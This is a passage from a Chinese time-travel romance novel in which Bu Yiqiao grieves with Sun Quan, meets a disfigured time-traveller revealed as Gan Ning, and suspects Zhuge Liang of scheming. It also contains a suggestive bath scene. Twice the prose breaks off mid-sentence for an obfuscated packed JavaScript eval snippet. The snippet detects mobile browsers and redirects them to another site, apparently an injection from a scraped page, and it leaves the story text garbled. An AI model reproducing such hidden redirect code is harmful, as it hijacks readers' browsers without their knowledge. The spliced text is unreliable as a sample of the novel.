步一乔安静片刻,随即伸出手,轻轻回抱住他,柔声道:“写封信回去吧,报个平安,也好了却牵挂。” “嗯。”他应着,将下颌轻抵在她发间。 夜色流淌,风声渐歇。 步一乔靠在孙权怀中,清晰地感受到看似平稳的胸膛下,压抑着怎样沉重的起伏。 她忽然想起史书中的记载—— 建安五年,孙策遇刺身亡,十八岁的孙权被匆匆推上高位,在兄长灵前几乎哭至昏厥。 该是何等彻骨的悲痛与无措。可眼前的他,自吴郡一路而来,将心事藏匿,将一切悲痛都死死摁在心底,只因为他是如今唯一的主心骨,连悲伤都成了奢侈。 当初道士告知预言后,孙权一定想了很多。事到如今预言结果成真,他却没能在最后一刻守在兄长榻前。 他藏得这样好,却让她心口细细密密地疼起来。 步一乔轻轻动了动,抬起头,在昏暗的光线里凝视他。她伸出手,指尖极轻地触碰到他的眉心,一道不自知蹙起的浅痕。 “仲谋,这里没有外人。” 孙权微微一怔,垂眸看她。 “在我面前,你不必永远是那个沉稳的孙权。”她的指尖缓缓下滑,抚过他紧抿的唇角,“你可以只是孙仲谋,是那个……会为了兄长离去而痛彻心扉的弟弟。” 他的呼吸一滞,揽在她腰侧的手臂下意识地收紧,却依旧沉默,像一座固执地封锁着所有火山与风雨的孤城。 步一乔更近地贴向他,双手捧住他的脸。 “我知道你很难过,也知道你肩上的担子有多重。但在我这里,你永远有脆弱的资格。哭出来吧,为你的兄长,为你自己……我不会告诉任何人。无论发生什么,我都会陪着你的。” 孙权数日来一直强撑的、用理智与冷漠层层包裹的堤坝,在这一刻,被她温柔而执着的目光彻底冲垮。 “一乔……我……”沙哑的声音破碎得几乎不成调,“我甚至没能……见他最后一面……我再也见到兄长……” 孙权闭上眼,将额头重重抵在她的肩窝,整个身体再也无法抑制地颤抖。 步一乔一遍遍轻抚着他的后背,在他耳边反复低语安慰。 “相信我,你会再见到他的。” 只不过,是在过去。 待那阵撕心裂肺的颤抖稍稍平复,她将他抱得更紧,“我没你想的那么脆弱,你也不必时刻把我像宝一样的护着。往后无论发生什么,我皆与你同担,好不好?” 无论未来如何,历史是否改变,她都已决定与他并肩而行。 正如那日所言,没有周瑜,她同样可以辅佐他,稳固江东。 孙权在她颈间深深吸气,滚烫的泪水无声地浸湿了她的衣襟。良久,他才用沙哑得几乎听不清的声音回应: “嗯……我知道……我知道……” 浓重的鼻音透出如释重负的依赖。他将全身的重量交付于她,仿佛漂泊已久的孤舟,终于寻到了可以安心停靠的港湾。 窗外风声又起,帐内因彼此的体温而暖意渐生。 步一乔心思飘向别处。如今江东无主,全赖周瑜等旧部苦苦支撑,从来担心历史走向荒唐的人,此刻却并不如何紧张。 反正,等见到那个道士,待吴郡局势稍定,她终究是要重返地牢,让一切从头再来的。 “预知未来的道士……”她在心底默念。那人哪里只是预知,他分明是对所有事了如指掌。 而且,他认识她。这也是预言到的?东汉末年哪儿有如此神人?非要说一个,除了诸葛孔明,步一乔真想不到第二人。 所以那道士,究竟是什么人? “孙权,你还没跟我说那人在哪儿呢?光顾着跟你走,都没问问。” 头顶传来一声低沉的轻笑,“这些日子你心神不定的,终于想起问我了?” “那也……没办法嘛。”她低声嘟囔。确实,孙策离世已一月有余,沉重与悲痛始终梗在心口,一旦静下来便无孔不入。 孙权并未深究,只是收紧了环住她的手臂,沉声道:“此去南阳。那人隐居在隆中深山。” “啊,隆中啊。” 步一乔下意识地重复,随即猛地反应过来,直接要从他怀中弹起。 “嗯?隆中?!隐居南阳隆中深山的……道士?!” 是哪儿都行,怎能是隆中呢! 原本历史轨迹中,本应由刘备三顾茅庐方能请出的卧龙先生,此刻竟要以一个“预知未来”的道士身份,与他们产生交集了? 天下会有这么巧的事?! * 信誓旦旦说好天亮就出发,不可一刻耽搁。奈何步一乔的身体发出抗拒,不许她离开。整个人病恹恹地蜷缩在床踏上,按着肚子冒着虚汗。 以往来月事有这么难受过吗?莫非条件太差,用粗布垫着的缘故?上个月的月事似乎没那么痛,这次为何? 本次第三次穿越来得太突然,却意外呆地时间最久,距离大小乔文化交流活动最后一天还有些时日,自己还能在东汉带上一两个月。 “一两个月……等见了那道士真貌便离开吧。然后,重新来过。” 她思绪纷乱,不自觉地将头埋进被褥里,却忘了身旁还睡着一个人。被子突然蒙住了孙权整张脸,把他生生憋醒了。他无奈地将被子拉下,翻过身,顺势将人圈进怀里,自己也滑入被窝。 “醒了?冷了?还是疼了?” “没事……嗯,冷了,还饿了。” 不知道东汉时期的武汉有什么好吃的,可惜身子不争气,这样子顶多吃两口。或者两全之法,自己尝两口,剩下全交给某位大抵还在长身体的少年。 步一乔为自己聪明的智慧深感欣慰,抬起一条腿架在孙权腰侧,与他严丝合缝地抱在一起。 “就这么决定了,”她咕哝着,“不过我希望你别再长个儿了,再往上……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582487|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踮起脚都亲不到你了。” 孙权在黑暗中轻笑,宠溺地蹭了蹭她的发顶。 “无碍,”他低声说,“我能蹲下身来。” * 热闹的长街人声熙攘,步一乔裹紧了前些日子在庐江添置的厚披风。孙权走在她身侧,宽大的袖袍下,两个人牵紧彼此的手。 她忍不住好奇地打量这片近两千年前的荆楚大地。 此刻的“武汉”还远非后世那座贯通九省的恢宏都市,仅仅是江夏郡治下的夏口城,一座依偎在长江与汉水之畔的军事重镇,城郭巍峨,舟楫往来。 正史记载,孙策身故后,孙权曾在五年间三次进攻江夏郡,最终击杀黄祖,吞并江夏郡大部。 而此刻,那位未来将踏平此地的君王,正安静地走在她身旁,袖袍之下与她十指相扣。历史的洪流与此刻掌心的温度交织,让她产生一种奇异的恍惚。 “在看什么?”孙权轻声询问。 她回过神,指向江边林立的战船:“那些都是黄祖的水军?” “十之七八。”孙权目光扫过江面,“江夏水军号称荆襄之冠,果然名不虚传。” 他的语气平静,步一乔却听出了其中的凝重。她轻轻捏了捏他的手指:“你又在想什么?” 孙权沉默片刻,才低声道:“若要与荆州抗衡,江东水军还需更强。” 轻描淡写的一句,步一乔觉得眼前的少年不是十八,是四十八,是登临帝位、雄踞江东的吴大帝。 二人各怀心事,直到周遭人群忽然骚动,朝着同一方向涌去。 “那边有热闹!走走走!”步一乔眼睛一亮,拉起孙权的手便要走。 孙权蹙眉,心下隐隐不安,却拗不过她的兴致,只得随波逐流。 “你何时喜欢凑热闹的?” “这可是刻在骨子里的!不看白不看!” 越近祭坛,香火气越浓,焚香与檀木的气息混杂,弥漫着莫名的肃杀。以青石垒砌的古老祭坛高高矗立,在阴郁天光下泛着冷硬的光泽。 人群推挤,步一乔一个踉跄,结结实实踩在孙权脚上。 “抱歉!疼不疼?” “无碍。”孙权时刻警惕,护着她退到人潮边缘,警觉地望向人群中央,“我心下不安,万不可离开我。” 步一乔随口应下,垫着脚去望:“好像是祭祀?” 鼓声骤起,低沉的轰鸣自地底传来般,敲在心跳的间隙。喧闹的人群霎时寂静,所有目光齐刷刷投向高处。 只见四名几乎赤裸上身的魁梧力士,踏着鼓点,肩扛一座黑木轿舆,一步步迈上祭坛石阶。他们的肌肉因重若千斤而虬结贲张,步伐却沉重整齐。 轿舆被稳稳置于坛心。 风,在此刻停滞。 一道黑色身影自轿中缓步而出,宽大的黑袍在静止的空气中纹丝不动,面容深深隐藏在兜帽的阴影之下。 他并未立刻言语,只是静立。然而,一股无形的威压已如潮水般蔓延开来,笼罩四野。 步一乔紧张到下意识去拉身边的人,却手一抖心一慌抓了个空。 “苍天已死——” 黑袍下终于传出话语,声线并不高昂,却奇异地穿透了方方寸寸,字字铿锵,如金石坠地,蕴含着令人不得不信服的力量。 坛下静默的百姓如同被点燃,瞬间沸腾。人们纷纷伏地跪拜,哭喊声、膜拜声汇成一片狂热的浪潮,仿佛见到了降临凡间的神祇。 步一乔被这疯狂的场面骇得连连后退,足下不慎,又踩中了身后之人。 “抱歉!我又踩到——” 她慌忙回首,却在看清对方面容的刹那,脸上血色尽褪,瞳孔骤缩,比见到恶鬼更要惊恐万状。 方才祭坛上的男人,霎时间出现在她身后?! 怎么做到的?瞬间移动?!神仙术法?! “怎么可能……你怎么……” 孙权察觉有异,立即拨开躁动的人群上前,一把将失魂落魄的步一乔护在身后,目光冷冽,直射那人:“你是何人?” 黑袍男人闻言,发出声极轻的嗤笑。他缓缓抬袖,露出一双粗糙宽厚的手。手指搭上兜帽的边缘,在无数狂热目光的注视下,一点点将其掀开,露出了那张足以让步一乔魂飞魄散的脸。 瞬间,欢呼声震耳欲聋。步一乔吓得心惊,孙权立刻抬手捂住她的耳朵。 黑色的布包裹住男人全身,脖颈也不例外,仅露出一张脸。 “你——?!”步一乔惊呼。 男人的视线越过孙权,精准地落在步一乔惊愕的脸上,嘴角勾起一抹似笑非笑的弧度。 “别来无恙,步一乔。” 36. 生花 随着男子的动作,兜帽滑落,露出了他的整张脸。 该如何形容那是怎样一张脸? 自下颌至颧骨,皮肤扭曲纠结,布满了狰狞的灼痕。破损的唇角,一条疤痕牵扯至耳根。一只没有眼球的眼睛,皮肉搅成一团陷入其中。仅剩的一只瞳孔也不学常人的黑棕,是浑浊的。 恶鬼一般的人被视作神明?被崇拜、被高举? 他不用笑,疤痕自然将他唇角扬起,眸子精准地、死死地盯在步一乔脸上。 他认识步一乔? 孙权诧异地垂眸看向被自己护在身后的步一乔。酸涩窜上心头,伴随着强烈的警惕,他侧身半步,身体完全挡去步一乔,不许男子再看到她一眼。 步一乔恍然回神,扯了扯孙权的衣袖,问:“所以那个会预言的道士……是他?” “不是他。”孙权斩钉截铁道,“我见过那道士,绝非此人。” “那他为何认识——” 话音未落,男子倏然抬起手臂,宽大的黑袍在风中猎猎作响。他面向沸腾的信徒们,声若洪钟: “天降神谕,东吴易主;生死既定,阴阳轮回;篡改因果,终不可为。” 简简单单的话,竟把一切明了。 篡改历史,终不可为。无论她如何反反复复回到过去重来,孙策之死,终究无法改变。 步一乔听懂了他话中的深意与警告,热血上涌,不管不顾地就要往前冲。 “你知道?!告诉我该怎么做!告诉我究竟怎么才能救他!喂!” 然而,周围狂热的人群爆发出更猛烈的欢呼,如同决堤的洪流疯狂涌来,将他们视为神明的男人高高举起。 “一乔别去!” 孙权反应极快,一把将步一乔拽回,用身体牢牢护住,抵挡住四面八方涌来的人潮冲击。坚实的臂膀为她隔出一小方安全之地,直到喧闹狂热的人群簇拥着他们的“神明”渐渐远去。 “他真的知道!他什么都知道!”步一乔攥紧孙权的手,“你确定他不是我们要找的人?!” “相信我,真的不是。” 孙权看着步一乔难以置信的神情,隐隐不安,询问:“你不认识他?” 步一乔摆首道:“从未见过。而且他的脸……那是烧伤吧?他经历过火灾?” 火灾……没缘由的,步一乔想起了初临江东的那场火。善武的孙策居然被人砸晕拴着脚困在火海,离奇到让人不得不怀疑贼人究竟是何等高手。 最重要的是,那人说的是“别来无恙”。 他们见过?步一乔为何想不起来? * 夜深,步一乔坐在客栈窗边。外面是江河,江风灌入室内,她忽然打了个寒颤。 孙权走来关上窗户,拿了披风给她裹上。 “乏了?” 步一乔摆首,“在想白日那人的脸。以及,他怎会认识我。” 孙权没有立刻接话,只是倚在窗边。江风被阻隔在外,室内只剩下两人清浅的呼吸和不安的气氛。 “那张脸,绝非寻常伤痕。”他沉吟片刻,“边缘规整,倒像是……刻意留下的印记。” “刻意?”步一乔蓦地抬头,“谁会刻意毁去自己的面容?” “掩盖真相的人。”孙权转过身,落在她写满困惑的脸上,“或者,是为了变成另一个人。” 步一乔忽然想起了小乔讲述给自己听的故事,不自觉地攥紧了披风的边缘。 真正的小乔走失,桥家捡到了民国穿越而来的乔梅子,认作小女儿,顶替了历史上真正的小乔,走上相同的命运,嫁给周瑜。 如果那人也是如此……他又顶替了谁? “你如何知晓?”步一乔望向他。 “猜的。” 猜得如此笃定? 她微微一怔,随即垂眸。也罢,谁让他是孙仲谋呢。 步一乔站起身,双臂环上孙权的腰,在温暖中舒了口气。 “乏了,明日出门再——” “明日不许你出门。” “为何?” “今日之事,还想重演?”孙权弯下腰将人抱起,走向床榻,“在客栈好生歇息,等我回来。” 他向来言出必行。待步一乔贪恋被窝温暖,睡过头醒来时,房中早已空无一人,只余他留下的字条。 她揉着惺忪睡眼,将字条收好,正欲再睡个回笼觉,门外却传来轻叩。 “您好,客房服务。” 客房服务?步一乔以为自己尚未清醒,含糊应道:“不必,多谢。” 门外人却不理会,径直推门而入。 “安防系统太薄弱了,我可是大摇大摆走进来的,不准说我偷偷摸摸。” 昨日的男人换了身正常人的常服,还是那张恐怖如斯的脸,坏掉的一只眼用了眼罩盖上,少了几分恐怖。他直挺挺地走进来,到椅子边坐下,自顾自倒起水来喝。 “哟,我来偷家咯~” 水还没咽下他又说话,一口水跟着话一起流出来。 “我刚看到孙权走远了,就来啦。” 步一乔眉头一皱,“你果然不是这个时代的人。你的脸怎么了?” “被人打晕在火灾现场,没来得及逃出去。” 男人的神情隐约在告诉步一乔,他话中的深意为何。 “当初是你把孙策打晕,困在火海的?那你又被谁打晕的?” “还能有谁?”他轻笑,“除了那个兄控的弟弟,谁有这等本事?” “孙权?”步一乔眉头紧锁,“火灾时他始终与我在一起,如何伤你?” “你确定他‘始终’与你一起?”男子挑眉,“那可是孙仲谋,老谋深算如他,岂是你能轻易看透的?” “那你看透了吗?” “自然没有。” “……” 说得那般信誓旦旦,还以为他真有什么高见。步一乔默默白了他一眼。 “既无证据,便莫要污人清白。孙权为何要打晕你,还将兄长置于险地?若火势失控,孙策当真殒命又如何?” 男子忽然倾身,直勾勾地盯着步一乔:“你跟他谈恋爱了?你跟他睡了?嗷~一张床,一个房间,肯定睡了!” “……这跟和他睡有什么关系?” “因为恋爱使人盲目啊。你如今看他,自是蒙着一层滤镜,怎看得清他本来面目。” 男人直起身,走到窗边推开窗,寒风忽地拂过步一乔单薄的身躯,惊起寒颤。 “记住我的告诫,他是孙权,放眼三国、纵观千年,也寻不出第二个的孙仲谋。别小看他,也别太迷恋他,否则……” 他顿了顿,神情一转凝重:“小心引火烧身。” 步一乔闻言非但没露怯,反而轻笑出声。她非但没退,反倒向前一步,眸光清亮地迎上男人烧伤的脸。 “怎么没回现代去治一治?还有你的眼睛……跟火灾没关系吧?” “你在讽刺我?”男人嗤笑,“实话告诉你吧,我不知道怎么回去。” “不知怎么回,还是……不想回?”步一乔抱着双臂,轻巧地挪到风口,顺手捞起孙权叠在枕边的披风系上,“你顶替了谁?原主呢,被你杀了?” 男人眼中闪过惊异,随即转为兴奋。他乖顺地关好窗,甚至为步一乔斟了杯茶。 “看来我今天来对了!除了我,还有谁?你又顶替了谁?照你的说法……你也杀了原主?” 谈及血腥之事,他语调亢奋,仿佛亟待从她口中听出一场腥风血雨。 “抱歉,让你失望了,我谁都没杀。人活得好好的,比你好。” 男人顿时兴致全无,咂了咂舌:“没意思。” “说正事,别浪费时间。”步一乔见他慢条斯理把玩桌上器物,不耐地蹙眉。 “等价交换。你告诉我还有谁,我就说我是谁。” “我让你下周过头七,信不信?” 话一出口,她便觉说得重了,轻咳一声敛了神色:“我差点顶替的人,是大乔。” “大乔死了?!” “你心理变态吗……她就不能活着吗!” “不死才不正常吧!” 两人气势不输彼此,非要争个高低。 “我前脚到这儿,后脚甘宁就被谋杀身亡了!还有我那儿哥们儿,苏飞直接死面前呢!大乔怎么可能不死!你的穿越系统出问题了吧!” 这人真把穿越当成游戏。 照他的话说,小乔当年也可能经历的同样的事,不过年幼记大清?乱葬岗……莫非就在不远处,便是正主的尸体?! 步一乔有些佩服自己冒出如此惊悚的想法。肯定眼前这男人引起的。 不过步一乔更震惊的,除了自己和小乔,居然还有穿越者。除了自己,他们皆是正主死亡或失踪后顶替的。大乔是否也曾因为自己出过什么意外?不过时间回溯,不了了之? “所以你现在是甘宁?”步一乔正式打量起他,“为何偷袭孙策?” “任务罢了。”甘宁一脸无奈,“该死的黄祖,只会利用老子!要不是怕报复,我早一刀砍了那老东西!” “你不知道后来的历史?”步一乔追问。 “知道个屁!老子没读过书。”他答得理直气壮。这般性情,倒与历史上那个率性的甘宁如出一辙。 要告诉他日后他会投奔孙权,甚至为救兄弟向孙权叩首求情吗? 罢了,剧透多无趣。 “没读过书,昨日那些文绉绉的话谁教的?” “有人一字一句教我说的。” “谁?” “不认识,住在隆中深山的草屋里,整日闭门谢客,藏头露尾的。”甘宁抬手摸着嘴角的裂痕,忿忿道,“一封信就把我叫去,要不是苏飞,我去个屁!” 步一乔陷入了沉思。 “说起来……你和苏飞到底是怎么死的?” 甘宁脸色骤变,猛地扭过头去:“关你什么事!” “是不关我事。”步一乔慢条斯理地整理着披风系带,“只是想知道,如今堂堂甘宁大人,后世是何等风光人物。给小女讲讲呗?” “你闭嘴!老子不吃这套!”显然他是吃的。甘宁霍然起身,眼眶发红,“要不是那辆该死的电瓶车……” 他话音戛然而止,整张脸涨得通红。 步一乔故作惊讶:“电瓶车?嗷~鬼火少——” “住嘴!” 甘宁憋了半晌,突然破罐子破摔地吼道:“对!就是骑电瓶车飙车撞死的!你满意了吗!” 他气得在屋里直转圈,指着步一乔的鼻子骂:“你知不知道那破车速度有多快!我俩刚从网吧出来,苏飞非要跟我比谁先到下一个路口……” 说到这里他突然哽住,颓然坐回椅子上。 “然后呢?”步一乔轻声追问。 “然后……”甘宁抹了把脸,苦笑道,“谁能想到三国名将甘兴霸,最后是骑着电瓶车撞死在电线杆上的?” 步一乔沉默片刻,忽然没憋住笑:“倒是比战死沙场……别致得多。” “你笑什么!不准笑!”甘宁恼羞成怒地瞪她,瞪了半天自己却先泄了气,“罢了,反正也回不去了。” 他望着窗外正午的日头,喃喃自语: “在那儿我只是个无家可归的野人,露宿街头,死了也没人知道。至少在这里,我还能真刀真枪地打一场。” * 甘宁临走前非要步一乔请他吃顿饭。也不清楚孙权何时回来,恰好肚子饿了,步一乔便应下了。 两人在客栈角落坐下,甘宁刚扒拉几口菜,就迫不及待地凑近问道: “欸,你应该读过书,跟我说说甘宁后来怎么样了?有没有把孙策孙权都杀了?” “没有。”步一乔夹着菜,头也不抬。 “不是吧……”甘宁顿时泄了气,“那我干啥了?总得有点丰功伟绩吧?” 步一乔歪头想了想,“应该有吧,但我想不起来。” “你肯定知道!”甘宁急得敲筷子,“说一个,一个也行。名声大点的,够我炫耀几辈子的。” 怕步一乔拒绝,又加上一句“这顿我请”。 甘宁在史书中明确记载亲手杀死的、有名有姓的重要将领只有一人。多数是以阵斩大量士卒和基层军官上,晓不得甲乙丙丁。 “你曾率百人夜袭曹营,”步一乔缓缓道,“不伤一兵一卒,杀得数十敌军溃散而逃,夜不能寐。” 甘宁眼睛一亮:“这个好!以少胜多,够威风!” “孙权赞你‘孟德有张辽,孤有甘兴霸,足相敌也’。” “孙权?谁要他夸。话说张辽是谁?”甘宁挠头,“不过能被拿来跟曹操的大将相提并论,够意思!还有呢?我杀过什么有名的大将没有?” 步一乔凝视着他兴奋的神情,缓缓开口:“在江夏之战中,阵斩吴国大将,凌操。” 话音落下,甘宁脸上的笑容瞬间凝固。 “凌操……”他喃喃重复着这个名字,“是那个……孙权的部下?” “是孙策旧部,凌统的父亲。” 甘宁怔在原地,面色几变。他想起那个在战场上与他交手数次的老将,想起凌操宁死不退的身影。 “原来……终究是我杀了他。” 步一乔继续道:“后来你投奔东吴,跪下来求孙权——” “等等等——谁?老子跪下来求谁?!”甘宁脸上尽是难以置信,必须再次确认。 “孙权啊。” 甘宁“啪”地一拍桌子,震得碗碟作响:“我甘兴霸跪天跪地跪父母,怎么可能跪他孙权?!” 他气得在酒楼桌椅旁转了两圈,突然抓起酒觞一饮而尽。 “不吃了!气都气饱了!告辞!” 步一乔看着他怒气冲冲的背影,轻轻摇头,夹起一筷子菜,悠悠道:“可惜了这桌好菜……只能我一个人消遣了,出门前记得结账,甘宁大人。” 走到门口的甘宁一个踉跄,回头瞪了她一眼,甩下一句“算你狠”,大步消失在门外。 * 入夜。 窗外的星光闪烁。 客房里没有点灯,步一乔抱着双腿,赤脚踩在椅沿,整个人蜷在窗边望月。一股深深的无力感裹住了她,仿佛做什么都提不起劲,连思绪都是软的。 “该洗澡到了……” 客栈可以提供热水至客房放置的浴桶,再不去洗,身子怕是要散出味儿了。 她朝后微微一仰,一条腿从椅子上滑落,脚尖轻轻点着地面,双臂软软地搭在小腹前。目光黏在天边那轮朦胧的圆月上,将沐浴的念头又一次遗忘在角落。 “他什么时候回来……” 双腿不自觉地绷紧,脖颈的经络也微微凸起。步一乔歪着头,深深浅浅地呼吸,眼神迷离如雾,唇间逸出低低的呢喃: “仲谋……仲谋……” 呼吸逐渐加重,在寂静的房间里显得格外清晰。胸口随着心跳轻轻起伏,无声的念想仿佛已化作实体,在她皮肤下微微发热。就在她几乎被自己的喘息淹没时—— 一声轻响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586653|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,房门被推开,月光流淌到他身上。孙权立在门口,风尘仆仆,目光却径直落在她蜷缩的身影上。 她方才在做什么,未来得及收拾的呼吸、空气中浮动的渴念,攥紧衣裳的手,两条白晃晃的腿,在此刻昭然若揭。 步一乔浑身轻颤,却移不开眼,挪不开手。 孙权反手合上门扇,没有烛火,踏着满室清辉走来,在她身前驻足,阴影温柔地将她笼罩。微凉的指尖抚上她发烫的颈侧,托起她低垂的脸庞。 “等久了?” 她启唇,却发不出声音,只能仰头承接着这个目光。微凉拇指的指腹擦过她微微张开的唇,一点点擦过探入其中,撬开牙关,轻轻拨弄着她无处可逃的舌尖。 让她整个人都绷紧了,脚趾不自觉地蜷缩起来。 “呜——” 压抑的闷哼,似是点燃了空气中早已弥漫的火星。身体深处涌起一阵战栗,她几乎要坐不稳。 旋即,孙权俯身,将一个深重的吻印在步一乔无声的呼唤上,吞没了她所有的呼吸。 “去……吗?”孙权问。 “去。”步一乔当即回答。 “嗯,”应下后,孙权直起身,“我让店家送些热水来沐浴吧。” “啊?”步一乔眼波犹自迷濛,“是去……沐浴的意思吗?” “昨日不是说,今日无论如何都要好好沐浴一番?”孙权宠溺一笑,将她垂落的发丝别至而后。 “有吗……嗯……”她喉间逸出不满的轻哼,真想揪住这人的衣领报复回去,“你分明是故意的。” 孙权低笑,将她从椅上稳稳抱起,走向内间床榻。“前几日不是还身子不适?若是那时……不可行事吧。” “您这哪儿是只晓得大概啊,分明清楚得嘛。”她轻笑着环住他脖颈,将发烫的脸埋进他肩窝,“月事……走了。我要和你一起洗。” 孙权半晌未语,将她轻轻放在榻上后,默然转身出去吩咐店家。 步一乔知晓他为何如此,身心难耐的,不止她。 热水很快蓄满浴桶,有淡淡的药草味。 步一乔仍坐在床沿,看着孙权试过水温,又默默走回她面前。他没有立刻抱她,只是伸手,指尖穿过她散落的发丝,轻轻解开了束发的带子。 “一起洗,你默不作声应了我的。”她抬眼望他,声音很轻。 他动作顿了顿,深色的眼眸在雾气中显得格外沉静。 “好。” 衣衫不知是谁先解的,或许本就不必分得太清。微凉的里衣滑落肩头,触到温热的空气,让步一乔轻轻颤了颤。孙权的手臂适时地环过来,稳而有力,将她横抱而起,踏入宽大的浴桶。 温热的水瞬间包裹上来,漫过腰际,胸口,直至肩头。 步一乔靠在孙权身前,能清晰感觉到他胸膛下与自己同样急促的心跳。她闭上眼,任由紧绷的神经在热水与草药的双重抚慰下,一寸寸松弛下来。 修长的手掌带着温水,缓缓抚过她的后颈,在僵硬的筋络上不轻不重地按着。力道恰到好处,步一乔不禁发出享受的叹息。 “身子还无力么?”他低声问。 她在水中轻轻摇头,墨色发丝随之荡开圈圈涟漪,蹭过他坚实的胸膛,与他的缠在一起。 忽然想看看他此刻散下长发的模样…… 虽见过无数次,但沐浴中的他却是头一回。步一乔悄悄侧首,刚转到一半,就被孙权扶着额角轻轻转了回去。 “别动,我为你擦洗。” 水面之下,孙权捞过搭在浴桶边缘的软巾,浸湿后沿着她光滑的脊柱缓缓向下擦洗。微糙的布料与细腻的肌肤相触,带来一种奇异的慰藉。 步一乔下意识地绷紧了腰线,旋即又在他循序渐进的抚触下,一点点松弛下来,将全身的重量交付于身后。 “你……是故意的吧……” “怎会。” 分明就是故意的!这人方才把一切看得那么真切,现在又这般,分明是勾引! 孙权的动作不疾不徐,软巾游走过微微凹陷的腰窝,步一乔忍不住轻轻一颤,发出细微的嘤咛。而后,她感觉到他胸腔传来低沉的震动,一声极轻的笑,带了满溢出的宠溺。 “你笑什么……”她有些羞恼地侧过头,耳根染上绯色,不知是源于水温,还是别的什么。 孙权没有回答,只是放下了布巾,温热的手掌取而代之,稳稳地贴在她后腰最酸软的那处,缓缓揉按起来。 步一乔彻底软了下来,连最后一丝骨头都被抽走。她闭上眼,感受着恰到好处的力道,化解着积攒的疲惫与紧绷,意识渐渐模糊,只想沉溺在这片由他构筑的、温暖的方寸中。 “孙权……”她无意识地喃喃,“仲谋……” “嗯。我在。”他应着,掌心沿着她腰滑落,贴在她小腹前,从背后将她整个环抱住,让她微凉的后背完全贴合自己温热的胸膛。 她步一乔也理所当然地,将全身的重量都交付于这方寸之间的温暖牢笼。 整个冬季,步一乔入夜体温低难以安睡的烦恼,全全被孙权轻松化解。 “坏心眼……你就会欺负我……”她鼓着腮嘟囔道,指尖在水面轻轻划动。 孙权低头浅笑,将一个轻如点水的吻,印在她湿透的发顶,磁性魅惑道:“纯纯冤枉。” 不轻不重地啃咬落在步一乔耳廓,她浑身一颤,下意识地缩起肩膀,却被他环在腰间的手臂更紧地锁在怀中。温热的唇沿着耳廓缓缓游移,最终停留在耳后那片最细腻的肌肤上,辗转流连。 “这还不算欺负?”她轻声反驳,声音却已软得不成样子。 水波随着他们细微的动作荡漾,药草的清香在蒸腾的热气中愈发浓郁。孙权的手在她小腹上轻轻摩挲,掌心灼热的温度透过温水直抵肌肤。 “若真欺负你……你此刻还能好端端地坐在此处?” 步一乔还想说什么,却被他突然收紧的拥抱打断。所有的言语都化作了唇边轻叹,她闭上眼,任由自己沉溺在令人安心的禁锢中。 窗外月色朦胧,而桶中的水温正好。 …… 酣畅过后。 水波轻漾,氤氲的热气在两人之间缭绕。步一乔放松地靠在孙权怀中,感受着他掌心在腹间规律的轻抚,几乎要沉入睡梦。 意识朦胧之际,孙权低沉的声音在耳畔响起:“一乔。” “嗯?”她懒懒应着,并未睁眼。 “白日……可有人寻过你?” 步一乔的睡意瞬间散了一半。她微微睁开眼,抬头看向他。 孙权低头迎上她的目光,手指仍在她腰间有一下没一下地轻抚。 客栈老板那儿听来的?此人这是……吃醋了? 嫉妒的孙仲谋……步一乔彻底清醒了。 她撑起身子,氤氲的水汽中,孙权的面容看不真切,唯有那双眼睛沉静如渊。 “不会吧……” “嗯?” 步一乔不敢再看他,想赶紧起身离开这块是非之地。此等状态下,与趁人之危无二! 孙权察觉到她的动作,拉着人跌坐回自己怀中。 “躲什么?心虚?” 步一乔挣了挣,反被他揽得更紧。 “我又没做错事,心虚什么?是甘宁。”她索性坦白,“你既知道,又何必问我?” 孙权的指尖掠过她湿漉的发梢,“不想敌人用了调虎离山。该说幸好是甘宁,否则,你我恐怕又得阴阳两隔。” 步一乔惊奇诧异,“敌人?!” 37. 空山 孙权口中的敌人,会是隆中的那位高人,一字一句教会甘宁,要他说给自己听的……道士? “隆中不等于诸葛亮,许是我想多了……建安五年,人家还才十九岁,还是个孩子。” 恍然大悟,步一乔突然想起自己身后之人也才十八呢。 “话说你不会觉得我……老吗?”步一乔蜷缩起身子低声喃喃。 三岁算不上年龄差,但她始终想不明白,孙权为何对她如此执着。难道春宵一度就能让心思缜密的孙仲谋一见钟情?这实在不像他的性情。 确定不是两个人都忘了什么过往?一段真正让彼此两情相悦的故事? 孙权的手臂穿过她的膝弯,稍一用力便将人从水中稳稳抱起。步一乔还沉浸自己的意识中,轻呼一声,下意识环住他的脖颈。 “干、干嘛?” “水凉了。” 他将她放在床榻边,取过干燥的布巾,站在她身前,阴影压下,开始细致地为她擦拭长发。 孙权的动作轻柔,指尖偶尔划过她的头皮。步一乔安静坐着,感受着发间不轻不重的力道,心中却思绪翻涌。 “你说的敌人……”她终于忍不住开口,“是隆中我们要寻的那位?周瑜送来的消息?” 孙权的动作未停,声音从她头顶传来:“他自称卧龙,姓诸葛,单名一个亮字。” 诸葛亮?! 步一乔心头剧震。怎么真是他?又怎么不能是他!若这背后是那位聪明绝顶的诸葛孔明在布局,一切离奇似乎都有了答案。 可建安五年的诸葛亮尚未出山,正在隆中隐居读书。他如何会认识他们,又为何独独盯上她? “他为何要针对我?” 布巾微微一顿。 “他针对的并非是你。”孙权沉静道,“他想要的是江东乱局,而你是其中最不安定的变数。” “一乔,你与我,早已在局中。” 